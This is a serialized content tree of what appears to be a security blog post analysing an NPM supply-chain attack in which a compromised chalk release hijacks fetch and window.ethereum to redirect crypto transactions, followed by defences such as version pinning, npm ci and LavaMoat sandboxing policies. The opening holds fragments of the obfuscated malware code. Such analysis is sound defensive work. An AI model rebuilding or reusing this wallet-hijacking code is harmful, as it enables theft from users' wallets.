},{"type":22,"tag":101,"props":102083,"children":102084},{"style":1544},[102085],{"type":27,"value":8065},{"type":22,"tag":101,"props":102087,"children":102088},{"style":120},[102089],{"type":27,"value":1884},{"type":22,"tag":101,"props":102091,"children":102092},{"class":103,"line":1118},[102093],{"type":22,"tag":101,"props":102094,"children":102095},{"style":120},[102096],{"type":27,"value":102097}," ) {\n",{"type":22,"tag":101,"props":102099,"children":102100},{"class":103,"line":1158},[102101,102105],{"type":22,"tag":101,"props":102102,"children":102103},{"style":3595},[102104],{"type":27,"value":73487},{"type":22,"tag":101,"props":102106,"children":102107},{"style":120},[102108],{"type":27,"value":154},{"type":22,"tag":101,"props":102110,"children":102111},{"class":103,"line":1166},[102112,102116,102121,102125,102129,102133,102137,102141,102145],{"type":22,"tag":101,"props":102113,"children":102114},{"style":108},[102115],{"type":27,"value":12085},{"type":22,"tag":101,"props":102117,"children":102118},{"style":126},[102119],{"type":27,"value":102120}," _0x5ad975",{"type":22,"tag":101,"props":102122,"children":102123},{"style":166},[102124],{"type":27,"value":960},{"type":22,"tag":101,"props":102126,"children":102127},{"style":126},[102128],{"type":27,"value":101780},{"type":22,"tag":101,"props":102130,"children":102131},{"style":120},[102132],{"type":27,"value":231},{"type":22,"tag":101,"props":102134,"children":102135},{"style":126},[102136],{"type":27,"value":101789},{"type":22,"tag":101,"props":102138,"children":102139},{"style":120},[102140],{"type":27,"value":2414},{"type":22,"tag":101,"props":102142,"children":102143},{"style":1544},[102144],{"type":27,"value":8065},{"type":22,"tag":101,"props":102146,"children":102147},{"style":120},[102148],{"type":27,"value":35570},{"type":22,"tag":101,"props":102150,"children":102151},{"class":103,"line":1215},[102152,102156,102160,102165,102169,102174],{"type":22,"tag":101,"props":102153,"children":102154},{"style":3595},[102155],{"type":27,"value":43281},{"type":22,"tag":101,"props":102157,"children":102158},{"style":120},[102159],{"type":27,"value":3603},{"type":22,"tag":101,"props":102161,"children":102162},{"style":126},[102163],{"type":27,"value":102164},"_0x5ad975",{"type":22,"tag":101,"props":102166,"children":102167},{"style":120},[102168],{"type":27,"value":231},{"type":22,"tag":101,"props":102170,"children":102171},{"style":126},[102172],{"type":27,"value":102173},"transaction",{"type":22,"tag":101,"props":102175,"children":102176},{"style":120},[102177],{"type":27,"value":1463},{"type":22,"tag":101,"props":102179,"children":102180},{"class":103,"line":2425},[102181,102186,102190,102194,102198,102202],{"type":22,"tag":101,"props":102182,"children":102183},{"style":126},[102184],{"type":27,"value":102185}," _0x5ad975",{"type":22,"tag":101,"props":102187,"children":102188},{"style":166},[102189],{"type":27,"value":960},{"type":22,"tag":101,"props":102191,"children":102192},{"style":126},[102193],{"type":27,"value":102120},{"type":22,"tag":101,"props":102195,"children":102196},{"style":120},[102197],{"type":27,"value":231},{"type":22,"tag":101,"props":102199,"children":102200},{"style":126},[102201],{"type":27,"value":102173},{"type":22,"tag":101,"props":102203,"children":102204},{"style":120},[102205],{"type":27,"value":1520},{"type":22,"tag":101,"props":102207,"children":102208},{"class":103,"line":5417},[102209],{"type":22,"tag":101,"props":102210,"children":102211},{"style":120},[102212],{"type":27,"value":16668},{"type":22,"tag":101,"props":102214,"children":102215},{"class":103,"line":7714},[102216,102220,102225,102229,102233,102237,102241,102245,102249],{"type":22,"tag":101,"props":102217,"children":102218},{"style":108},[102219],{"type":27,"value":35543},{"type":22,"tag":101,"props":102221,"children":102222},{"style":126},[102223],{"type":27,"value":102224}," _0x5dbe63",{"type":22,"tag":101,"props":102226,"children":102227},{"style":166},[102228],{"type":27,"value":960},{"type":22,"tag":101,"props":102230,"children":102231},{"style":926},[102232],{"type":27,"value":101849},{"type":22,"tag":101,"props":102234,"children":102235},{"style":120},[102236],{"type":27,"value":980},{"type":22,"tag":101,"props":102238,"children":102239},{"style":126},[102240],{"type":27,"value":102164},{"type":22,"tag":101,"props":102242,"children":102243},{"style":120},[102244],{"type":27,"value":758},{"type":22,"tag":101,"props":102246,"children":102247},{"style":108},[102248],{"type":27,"value":5644},{"type":22,"tag":101,"props":102250,"children":102251},{"style":120},[102252],{"type":27,"value":994},{"type":22,"tag":101,"props":102254,"children":102255},{"class":103,"line":7723},[102256,102260,102264,102268,102272,102276,102280,102284,102288,102292],{"type":22,"tag":101,"props":102257,"children":102258},{"style":3595},[102259],{"type":27,"value":43281},{"type":22,"tag":101,"props":102261,"children":102262},{"style":120},[102263],{"type":27,"value":3603},{"type":22,"tag":101,"props":102265,"children":102266},{"style":126},[102267],{"type":27,"value":101754},{"type":22,"tag":101,"props":102269,"children":102270},{"style":120},[102271],{"type":27,"value":231},{"type":22,"tag":101,"props":102273,"children":102274},{"style":126},[102275],{"type":27,"value":101789},{"type":22,"tag":101,"props":102277,"children":102278},{"style":120},[102279],{"type":27,"value":2414},{"type":22,"tag":101,"props":102281,"children":102282},{"style":1544},[102283],{"type":27,"value":8065},{"type":22,"tag":101,"props":102285,"children":102286},{"style":120},[102287],{"type":27,"value":54344},{"type":22,"tag":101,"props":102289,"children":102290},{"style":126},[102291],{"type":27,"value":102173},{"type":22,"tag":101,"props":102293,"children":102294},{"style":120},[102295],{"type":27,"value":1463},{"type":22,"tag":101,"props":102297,"children":102298},{"class":103,"line":7791},[102299,102304,102308,102312,102316,102320,102324,102328,102332,102336],{"type":22,"tag":101,"props":102300,"children":102301},{"style":126},[102302],{"type":27,"value":102303}," _0x2c3d7e",{"type":22,"tag":101,"props":102305,"children":102306},{"style":120},[102307],{"type":27,"value":231},{"type":22,"tag":101,"props":102309,"children":102310},{"style":126},[102311],{"type":27,"value":101789},{"type":22,"tag":101,"props":102313,"children":102314},{"style":120},[102315],{"type":27,"value":2414},{"type":22,"tag":101,"props":102317,"children":102318},{"style":1544},[102319],{"type":27,"value":8065},{"type":22,"tag":101,"props":102321,"children":102322},{"style":120},[102323],{"type":27,"value":54344},{"type":22,"tag":101,"props":102325,"children":102326},{"style":126},[102327],{"type":27,"value":102173},{"type":22,"tag":101,"props":102329,"children":102330},{"style":166},[102331],{"type":27,"value":960},{"type":22,"tag":101,"props":102333,"children":102334},{"style":126},[102335],{"type":27,"value":102224},{"type":22,"tag":101,"props":102337,"children":102338},{"style":120},[102339],{"type":27,"value":1520},{"type":22,"tag":101,"props":102341,"children":102342},{"class":103,"line":7799},[102343,102347,102351],{"type":22,"tag":101,"props":102344,"children":102345},{"style":120},[102346],{"type":27,"value":42935},{"type":22,"tag":101,"props":102348,"children":102349},{"style":3595},[102350],{"type":27,"value":7354},{"type":22,"tag":101,"props":102352,"children":102353},{"style":120},[102354],{"type":27,"value":154},{"type":22,"tag":101,"props":102356,"children":102357},{"class":103,"line":7829},[102358,102362,102366,102370,102374,102378,102382,102386,102390],{"type":22,"tag":101,"props":102359,"children":102360},{"style":126},[102361],{"type":27,"value":102303},{"type":22,"tag":101,"props":102363,"children":102364},{"style":120},[102365],{"type":27,"value":231},{"type":22,"tag":101,"props":102367,"children":102368},{"style":126},[102369],{"type":27,"value":101789},{"type":22,"tag":101,"props":102371,"children":102372},{"style":120},[102373],{"type":27,"value":2414},{"type":22,"tag":101,"props":102375,"children":102376},{"style":1544},[102377],{"type":27,"value":8065},{"type":22,"tag":101,"props":102379,"children":102380},{"style":120},[102381],{"type":27,"value":12668},{"type":22,"tag":101,"props":102383,"children":102384},{"style":166},[102385],{"type":27,"value":1511},{"type":22,"tag":101,"props":102387,"children":102388},{"style":126},[102389],{"type":27,"value":102224},{"type":22,"tag":101,"props":102391,"children":102392},{"style":120},[102393],{"type":27,"value":1520},{"type":22,"tag":101,"props":102395,"children":102396},{"class":103,"line":7837},[102397],{"type":22,"tag":101,"props":102398,"children":102399},{"style":120},[102400],{"type":27,"value":16668},{"type":22,"tag":101,"props":102402,"children":102403},{"class":103,"line":7868},[102404,102408,102412,102416,102421],{"type":22,"tag":101,"props":102405,"children":102406},{"style":120},[102407],{"type":27,"value":19777},{"type":22,"tag":101,"props":102409,"children":102410},{"style":3595},[102411],{"type":27,"value":52408},{"type":22,"tag":101,"props":102413,"children":102414},{"style":120},[102415],{"type":27,"value":3603},{"type":22,"tag":101,"props":102417,"children":102418},{"style":126},[102419],{"type":27,"value":102420},"_0x4b99fd",{"type":22,"tag":101,"props":102422,"children":102423},{"style":120},[102424],{"type":27,"value":101950},{"type":22,"tag":101,"props":102426,"children":102427},{"class":103,"line":7876},[102428],{"type":22,"tag":101,"props":102429,"children":102430},{"style":120},[102431],{"type":27,"value":9908},{"type":22,"tag":101,"props":102433,"children":102434},{"class":103,"line":7936},[102435],{"type":22,"tag":101,"props":102436,"children":102437},{"style":120},[102438],{"type":27,"value":188},{"type":22,"tag":1760,"props":102440,"children":102442},{"id":102441},"impact-of-the-attack",[102443],{"type":27,"value":102444},"Impact of the Attack",{"type":22,"tag":23,"props":102446,"children":102447},{},[102448],{"type":27,"value":102449},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":22,"tag":53,"props":102451,"children":102453},{"id":102452},"why-it-will-happen-again",[102454],{"type":27,"value":102455},"Why It Will Happen Again",{"type":22,"tag":23,"props":102457,"children":102458},{},[102459],{"type":27,"value":102460},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":22,"tag":23,"props":102462,"children":102463},{},[102464],{"type":27,"value":102465},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":22,"tag":53,"props":102467,"children":102469},{"id":102468},"what-developers-can-do",[102470],{"type":27,"value":102471},"What Developers Can Do",{"type":22,"tag":23,"props":102473,"children":102474},{},[102475],{"type":27,"value":102476},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":22,"tag":1760,"props":102478,"children":102480},{"id":102479},"_1-version-pinning-in-packagejson",[102481,102483],{"type":27,"value":102482},"1. Version pinning in ",{"type":22,"tag":30,"props":102484,"children":102486},{"className":102485},[],[102487],{"type":27,"value":102488},"package.json",{"type":22,"tag":23,"props":102490,"children":102491},{},[102492],{"type":27,"value":102493},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":22,"tag":23,"props":102495,"children":102496},{},[102497,102499,102505,102507,102512,102514,102519],{"type":27,"value":102498},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":22,"tag":30,"props":102500,"children":102502},{"className":102501},[],[102503],{"type":27,"value":102504},"npm install",{"type":27,"value":102506},". To pin it, just make sure to remove the caret ",{"type":22,"tag":30,"props":102508,"children":102510},{"className":102509},[],[102511],{"type":27,"value":52930},{"type":27,"value":102513}," symbol before the version in ",{"type":22,"tag":30,"props":102515,"children":102517},{"className":102516},[],[102518],{"type":27,"value":102488},{"type":27,"value":169},{"type":22,"tag":91,"props":102521,"children":102523},{"code":102522,"language":37993,"meta":7,"className":37991,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[102524],{"type":22,"tag":30,"props":102525,"children":102526},{"__ignoreMap":7},[102527,102548,102569,102590],{"type":22,"tag":101,"props":102528,"children":102529},{"class":103,"line":104},[102530,102535,102539,102544],{"type":22,"tag":101,"props":102531,"children":102532},{"style":6476},[102533],{"type":27,"value":102534},"\"@react-native-async-storage/async-storage\"",{"type":22,"tag":101,"props":102536,"children":102537},{"style":120},[102538],{"type":27,"value":19332},{"type":22,"tag":101,"props":102540,"children":102541},{"style":6476},[102542],{"type":27,"value":102543},"\"1.23.1\"",{"type":22,"tag":101,"props":102545,"children":102546},{"style":120},[102547],{"type":27,"value":179},{"type":22,"tag":101,"props":102549,"children":102550},{"class":103,"line":157},[102551,102556,102560,102565],{"type":22,"tag":101,"props":102552,"children":102553},{"style":6476},[102554],{"type":27,"value":102555},"\"@react-native-community/datetimepicker\"",{"type":22,"tag":101,"props":102557,"children":102558},{"style":120},[102559],{"type":27,"value":19332},{"type":22,"tag":101,"props":102561,"children":102562},{"style":6476},[102563],{"type":27,"value":102564},"\"8.3.0\"",{"type":22,"tag":101,"props":102566,"children":102567},{"style":120},[102568],{"type":27,"value":179},{"type":22,"tag":101,"props":102570,"children":102571},{"class":103,"line":182},[102572,102577,102581,102586],{"type":22,"tag":101,"props":102573,"children":102574},{"style":6476},[102575],{"type":27,"value":102576},"\"@react-native-community/netinfo\"",{"type":22,"tag":101,"props":102578,"children":102579},{"style":120},[102580],{"type":27,"value":19332},{"type":22,"tag":101,"props":102582,"children":102583},{"style":6476},[102584],{"type":27,"value":102585},"\"11.4.1\"",{"type":22,"tag":101,"props":102587,"children":102588},{"style":120},[102589],{"type":27,"value":179},{"type":22,"tag":101,"props":102591,"children":102592},{"class":103,"line":367},[102593,102598,102602],{"type":22,"tag":101,"props":102594,"children":102595},{"style":6476},[102596],{"type":27,"value":102597},"\"@react-native-picker/picker\"",{"type":22,"tag":101,"props":102599,"children":102600},{"style":120},[102601],{"type":27,"value":19332},{"type":22,"tag":101,"props":102603,"children":102604},{"style":6476},[102605],{"type":27,"value":102606},"\"2.11.0\"\n",{"type":22,"tag":1760,"props":102608,"children":102610},{"id":102609},"_2-use-npm-ci",[102611,102613],{"type":27,"value":102612},"2. Use ",{"type":22,"tag":30,"props":102614,"children":102616},{"className":102615},[],[102617],{"type":27,"value":102618},"npm ci",{"type":22,"tag":23,"props":102620,"children":102621},{},[102622,102627,102629,102635,102637,102642],{"type":22,"tag":30,"props":102623,"children":102625},{"className":102624},[],[102626],{"type":27,"value":102618},{"type":27,"value":102628}," uses the dependency versions from ",{"type":22,"tag":30,"props":102630,"children":102632},{"className":102631},[],[102633],{"type":27,"value":102634},"package-lock.json",{"type":27,"value":102636}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":22,"tag":30,"props":102638,"children":102640},{"className":102639},[],[102641],{"type":27,"value":102504},{"type":27,"value":102643}," when adding a new package or updating an existing one.",{"type":22,"tag":1760,"props":102645,"children":102647},{"id":102646},"_3-implement-lavamoat",[102648,102650],{"type":27,"value":102649},"3. Implement ",{"type":22,"tag":80,"props":102651,"children":102654},{"href":102652,"rel":102653},"https://github.com/LavaMoat/LavaMoat/tree/main",[84],[102655],{"type":22,"tag":9370,"props":102656,"children":102657},{},[102658],{"type":27,"value":102659},"Lavamoat",{"type":22,"tag":23,"props":102661,"children":102662},{},[102663],{"type":27,"value":102664},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":22,"tag":23,"props":102666,"children":102667},{},[102668],{"type":27,"value":102669},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":22,"tag":91,"props":102671,"children":102673},{"code":102672,"language":37993,"meta":7,"className":37991,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[102674],{"type":22,"tag":30,"props":102675,"children":102676},{"__ignoreMap":7},[102677,102689,102701,102712,102728,102735,102742,102754,102765,102785,102801,102808,102819,102839,102855,102862,102869],{"type":22,"tag":101,"props":102678,"children":102679},{"class":103,"line":104},[102680,102685],{"type":22,"tag":101,"props":102681,"children":102682},{"style":6476},[102683],{"type":27,"value":102684},"\"resources\"",{"type":22,"tag":101,"props":102686,"children":102687},{"style":120},[102688],{"type":27,"value":41018},{"type":22,"tag":101,"props":102690,"children":102691},{"class":103,"line":157},[102692,102697],{"type":22,"tag":101,"props":102693,"children":102694},{"style":126},[102695],{"type":27,"value":102696}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":22,"tag":101,"props":102698,"children":102699},{"style":120},[102700],{"type":27,"value":41018},{"type":22,"tag":101,"props":102702,"children":102703},{"class":103,"line":182},[102704,102708],{"type":22,"tag":101,"props":102705,"children":102706},{"style":126},[102707],{"type":27,"value":41026},{"type":22,"tag":101,"props":102709,"children":102710},{"style":120},[102711],{"type":27,"value":41018},{"type":22,"tag":101,"props":102713,"children":102714},{"class":103,"line":367},[102715,102720,102724],{"type":22,"tag":101,"props":102716,"children":102717},{"style":126},[102718],{"type":27,"value":102719}," \"TextEncoder\"",{"type":22,"tag":101,"props":102721,"children":102722},{"style":120},[102723],{"type":27,"value":19332},{"type":22,"tag":101,"props":102725,"children":102726},{"style":108},[102727],{"type":27,"value":41187},{"type":22,"tag":101,"props":102729,"children":102730},{"class":103,"line":398},[102731],{"type":22,"tag":101,"props":102732,"children":102733},{"style":120},[102734],{"type":27,"value":16668},{"type":22,"tag":101,"props":102736,"children":102737},{"class":103,"line":428},[102738],{"type":22,"tag":101,"props":102739,"children":102740},{"style":120},[102741],{"type":27,"value":29379},{"type":22,"tag":101,"props":102743,"children":102744},{"class":103,"line":997},[102745,102750],{"type":22,"tag":101,"props":102746,"children":102747},{"style":126},[102748],{"type":27,"value":102749}," \"@ethereumjs/util\"",{"type":22,"tag":101,"props":102751,"children":102752},{"style":120},[102753],{"type":27,"value":41018},{"type":22,"tag":101,"props":102755,"children":102756},{"class":103,"line":1032},[102757,102761],{"type":22,"tag":101,"props":102758,"children":102759},{"style":126},[102760],{"type":27,"value":41026},{"type":22,"tag":101,"props":102762,"children":102763},{"style":120},[102764],{"type":27,"value":41018},{"type":22,"tag":101,"props":102766,"children":102767},{"class":103,"line":1063},[102768,102773,102777,102781],{"type":22,"tag":101,"props":102769,"children":102770},{"style":126},[102771],{"type":27,"value":102772}," \"console.warn\"",{"type":22,"tag":101,"props":102774,"children":102775},{"style":120},[102776],{"type":27,"value":19332},{"type":22,"tag":101,"props":102778,"children":102779},{"style":108},[102780],{"type":27,"value":5608},{"type":22,"tag":101,"props":102782,"children":102783},{"style":120},[102784],{"type":27,"value":179},{"type":22,"tag":101,"props":102786,"children":102787},{"class":103,"line":1071},[102788,102793,102797],{"type":22,"tag":101,"props":102789,"children":102790},{"style":126},[102791],{"type":27,"value":102792}," \"fetch\"",{"type":22,"tag":101,"props":102794,"children":102795},{"style":120},[102796],{"type":27,"value":19332},{"type":22,"tag":101,"props":102798,"children":102799},{"style":108},[102800],{"type":27,"value":41187},{"type":22,"tag":101,"props":102802,"children":102803},{"class":103,"line":1110},[102804],{"type":22,"tag":101,"props":102805,"children":102806},{"style":120},[102807],{"type":27,"value":41195},{"type":22,"tag":101,"props":102809,"children":102810},{"class":103,"line":1118},[102811,102815],{"type":22,"tag":101,"props":102812,"children":102813},{"style":126},[102814],{"type":27,"value":41203},{"type":22,"tag":101,"props":102816,"children":102817},{"style":120},[102818],{"type":27,"value":41018},{"type":22,"tag":101,"props":102820,"children":102821},{"class":103,"line":1158},[102822,102827,102831,102835],{"type":22,"tag":101,"props":102823,"children":102824},{"style":126},[102825],{"type":27,"value":102826}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":22,"tag":101,"props":102828,"children":102829},{"style":120},[102830],{"type":27,"value":19332},{"type":22,"tag":101,"props":102832,"children":102833},{"style":108},[102834],{"type":27,"value":5608},{"type":22,"tag":101,"props":102836,"children":102837},{"style":120},[102838],{"type":27,"value":179},{"type":22,"tag":101,"props":102840,"children":102841},{"class":103,"line":1166},[102842,102847,102851],{"type":22,"tag":101,"props":102843,"children":102844},{"style":126},[102845],{"type":27,"value":102846}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":22,"tag":101,"props":102848,"children":102849},{"style":120},[102850],{"type":27,"value":19332},{"type":22,"tag":101,"props":102852,"children":102853},{"style":108},[102854],{"type":27,"value":41187},{"type":22,"tag":101,"props":102856,"children":102857},{"class":103,"line":1215},[102858],{"type":22,"tag":101,"props":102859,"children":102860},{"style":120},[102861],{"type":27,"value":16668},{"type":22,"tag":101,"props":102863,"children":102864},{"class":103,"line":2425},[102865],{"type":22,"tag":101,"props":102866,"children":102867},{"style":120},[102868],{"type":27,"value":1734},{"type":22,"tag":101,"props":102870,"children":102871},{"class":103,"line":5417},[102872],{"type":22,"tag":101,"props":102873,"children":102874},{"style":120},[102875],{"type":27,"value":188},{"type":22,"tag":23,"props":102877,"children":102878},{},[102879,102881,102887,102889,102895,102896,102901,102903,102909,102910,102916],{"type":27,"value":102880},"In this example, it restricts the ",{"type":22,"tag":30,"props":102882,"children":102884},{"className":102883},[],[102885],{"type":27,"value":102886},"@ethereumjs/util",{"type":27,"value":102888}," package to use only ",{"type":22,"tag":30,"props":102890,"children":102892},{"className":102891},[],[102893],{"type":27,"value":102894},"console.warn",{"type":27,"value":209},{"type":22,"tag":30,"props":102897,"children":102899},{"className":102898},[],[102900],{"type":27,"value":38090},{"type":27,"value":102902}," functions, and to include only ",{"type":22,"tag":30,"props":102904,"children":102906},{"className":102905},[],[102907],{"type":27,"value":102908},"@ethereumjs/rlp",{"type":27,"value":209},{"type":22,"tag":30,"props":102911,"children":102913},{"className":102912},[],[102914],{"type":27,"value":102915},"ethereum-cryptography",{"type":27,"value":102917}," packages.",{"type":22,"tag":23,"props":102919,"children":102920},{},[102921],{"type":27,"value":102922},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":22,"tag":23,"props":102924,"children":102925},{},[102926,102928,102934],{"type":27,"value":102927},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":22,"tag":80,"props":102929,"children":102932},{"href":102930,"rel":102931},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[84],[102933],{"type":27,"value":41373},{"type":27,"value":231},{"type":22,"tag":1760,"props":102936,"children":102938},{"id":102937},"lavamoat-vs-qix-malware",[102939],{"type":27,"value":102940},"Lavamoat vs Qix Malware",{"type":22,"tag":23,"props":102942,"children":102943},{},[102944,102946,102951],{"type":27,"value":102945},"If a dApp were compromised with the Qix malware (say it used ",{"type":22,"tag":30,"props":102947,"children":102949},{"className":102948},[],[102950],{"type":27,"value":100791},{"type":27,"value":102952},"), it would need to perform the following actions to drain funds from a wallet:",{"type":22,"tag":6828,"props":102954,"children":102955},{},[102956,102968,102979,102990],{"type":22,"tag":6832,"props":102957,"children":102958},{},[102959,102961,102966],{"type":27,"value":102960},"Replace ",{"type":22,"tag":30,"props":102962,"children":102964},{"className":102963},[],[102965],{"type":27,"value":38090},{"type":27,"value":102967}," function to a custom one",{"type":22,"tag":6832,"props":102969,"children":102970},{},[102971,102973],{"type":27,"value":102972},"Access ",{"type":22,"tag":30,"props":102974,"children":102976},{"className":102975},[],[102977],{"type":27,"value":102978},"window.ethereum",{"type":22,"tag":6832,"props":102980,"children":102981},{},[102982,102984,102989],{"type":27,"value":102983},"Call original ",{"type":22,"tag":30,"props":102985,"children":102987},{"className":102986},[],[102988],{"type":27,"value":38090},{"type":27,"value":42210},{"type":22,"tag":6832,"props":102991,"children":102992},{},[102993],{"type":27,"value":102994},"Plus other actions not relevant here",{"type":22,"tag":23,"props":102996,"children":102997},{},[102998,103000,103006],{"type":27,"value":102999},"If the dApp is using Lavamoat with a generated policy for ",{"type":22,"tag":30,"props":103001,"children":103003},{"className":103002},[],[103004],{"type":27,"value":103005},"chalk 5.6.0",{"type":27,"value":103007}," (non-malicious version) it would look like this:",{"type":22,"tag":91,"props":103009,"children":103011},{"code":103010,"language":37993,"meta":7,"className":37991,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[103012],{"type":22,"tag":30,"props":103013,"children":103014},{"__ignoreMap":7},[103015,103027,103038,103058,103074,103081],{"type":22,"tag":101,"props":103016,"children":103017},{"class":103,"line":104},[103018,103023],{"type":22,"tag":101,"props":103019,"children":103020},{"style":6476},[103021],{"type":27,"value":103022},"\"chalk\"",{"type":22,"tag":101,"props":103024,"children":103025},{"style":120},[103026],{"type":27,"value":41018},{"type":22,"tag":101,"props":103028,"children":103029},{"class":103,"line":157},[103030,103034],{"type":22,"tag":101,"props":103031,"children":103032},{"style":126},[103033],{"type":27,"value":41026},{"type":22,"tag":101,"props":103035,"children":103036},{"style":120},[103037],{"type":27,"value":41018},{"type":22,"tag":101,"props":103039,"children":103040},{"class":103,"line":182},[103041,103046,103050,103054],{"type":22,"tag":101,"props":103042,"children":103043},{"style":126},[103044],{"type":27,"value":103045}," \"navigator.userAgent\"",{"type":22,"tag":101,"props":103047,"children":103048},{"style":120},[103049],{"type":27,"value":19332},{"type":22,"tag":101,"props":103051,"children":103052},{"style":108},[103053],{"type":27,"value":5608},{"type":22,"tag":101,"props":103055,"children":103056},{"style":120},[103057],{"type":27,"value":179},{"type":22,"tag":101,"props":103059,"children":103060},{"class":103,"line":367},[103061,103066,103070],{"type":22,"tag":101,"props":103062,"children":103063},{"style":126},[103064],{"type":27,"value":103065}," \"navigator.userAgentData\"",{"type":22,"tag":101,"props":103067,"children":103068},{"style":120},[103069],{"type":27,"value":19332},{"type":22,"tag":101,"props":103071,"children":103072},{"style":108},[103073],{"type":27,"value":41187},{"type":22,"tag":101,"props":103075,"children":103076},{"class":103,"line":398},[103077],{"type":22,"tag":101,"props":103078,"children":103079},{"style":120},[103080],{"type":27,"value":16668},{"type":22,"tag":101,"props":103082,"children":103083},{"class":103,"line":428},[103084],{"type":22,"tag":101,"props":103085,"children":103086},{"style":120},[103087],{"type":27,"value":29379},{"type":22,"tag":23,"props":103089,"children":103090},{},[103091,103093,103099],{"type":27,"value":103092},"That means that the chalk dependency can only access these two global attributes from ",{"type":22,"tag":30,"props":103094,"children":103096},{"className":103095},[],[103097],{"type":27,"value":103098},"navigator",{"type":27,"value":231},{"type":22,"tag":23,"props":103101,"children":103102},{},[103103,103105,103111],{"type":27,"value":103104},"When the compromised dApp would execute the malicious payload of ",{"type":22,"tag":30,"props":103106,"children":103108},{"className":103107},[],[103109],{"type":27,"value":103110},"chalk v5.6.1",{"type":27,"value":103112}," it would fail due to insufficient permissions:",{"type":22,"tag":23,"props":103114,"children":103115},{},[103116],{"type":22,"tag":7959,"props":103117,"children":103119},{"alt":54574,"src":103118},"/posts/supply-chain-attcks/error.png",[],{"type":22,"tag":23,"props":103121,"children":103122},{},[103123,103125,103130],{"type":27,"value":103124},"This error shows that the malware failed since it cannot redefine ",{"type":22,"tag":30,"props":103126,"children":103128},{"className":103127},[],[103129],{"type":27,"value":38090},{"type":27,"value":29466},{"type":22,"tag":91,"props":103132,"children":103134},{"code":103133},"TypeError#1: Cannot define property fetch, object is not extensible\n",[103135],{"type":22,"tag":30,"props":103136,"children":103137},{"__ignoreMap":7},[103138],{"type":27,"value":103133},{"type":22,"tag":53,"props":103140,"children":103142},{"id":103141},"lavamoat-in-practice",[103143],{"type":27,"value":103144},"Lavamoat In Practice",{"type":22,"tag":23,"props":103146,"children":103147},{},[103148,103150,103157],{"type":27,"value":103149},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":22,"tag":80,"props":103151,"children":103154},{"href":103152,"rel":103153},"https://osec.io/reports/lavamoat_audit_final.pdf",[84],[103155],{"type":27,"value":103156},"see the audit report",{"type":27,"value":24730},{"type":22,"tag":23,"props":103159,"children":103160},{},[103161],{"type":27,"value":103162},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":22,"tag":53,"props":103164,"children":103165},{"id":79304},[103166],{"type":27,"value":79307},{"type":22,"tag":23,"props":103168,"children":103169},{},[103170],{"type":27,"value":103171},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":22,"tag":23,"props":103173,"children":103174},{},[103175,103177,103182],{"type":27,"value":103176},"Version pinning and ",{"type":22,"tag":30,"props":103178,"children":103180},{"className":103179},[],[103181],{"type":27,"value":102618},{"type":27,"value":103183}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":22,"tag":6891,"props":103185,"children":103186},{},[103187],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":103189},[103190,103193,103194,103203,103204],{"id":100806,"depth":157,"text":100809,"children":103191},[103192],{"id":102441,"depth":182,"text":102444},{"id":102452,"depth":157,"text":102455},{"id":102468,"depth":157,"text":102471,"children":103195},[103196,103198,103200,103202],{"id":102479,"depth":182,"text":103197},"1. Version pinning in package.json",{"id":102609,"depth":182,"text":103199},"2. Use npm ci",{"id":102646,"depth":182,"text":103201},"3. Implement 